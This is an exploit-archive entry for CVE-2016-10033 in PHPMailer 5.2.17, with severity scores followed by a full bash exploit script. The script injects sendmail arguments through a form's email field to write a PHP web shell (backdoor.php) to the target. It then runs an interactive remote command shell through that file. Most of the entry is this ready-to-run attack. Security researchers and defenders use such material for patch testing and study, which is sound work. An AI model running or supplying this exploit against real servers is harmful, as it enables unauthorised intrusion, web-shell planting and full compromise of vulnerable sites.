PHPMailer 5.2.17 Remote Code Execution Exploit

2016.12.27
Credit: opsxcq
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/bin/bash # CVE-2016-10033 exploit by opsxcq # https://github.com/opsxcq/exploit-CVE-2016-10033 echo '[+] CVE-2016-10033 exploit by opsxcq' if [ -z "$1" ] then echo '[-] Please inform an host as parameter' exit -1 fi host=$1 echo '[+] Exploiting '$host curl -sq 'http://'$host -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzXJpHSq4mNy35tHe' --data-binary $'------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="action"\r\n\r\nsubmit\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="name"\r\n\r\n<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="email"\r\n\r\nvulnerables@ -OQueueDirectory=/tmp -X/www/backdoor.php\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="message"\r\n\r\nPwned\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe--\r\n' >/dev/null && echo '[+] Target exploited, acessing shell at http://'$host'/backdoor.php' cmd='whoami' while [ "$cmd" != 'exit' ] do echo '[+] Running '$cmd curl -sq http://$host/backdoor.php?cmd=$(echo -ne $cmd | base64) | grep '|' | head -n 1 | cut -d '|' -f 2 | base64 -d echo read -p 'RemoteShell> ' cmd done echo '[+] Exiting'

References:

https://github.com/opsxcq/exploit-CVE-2016-10033


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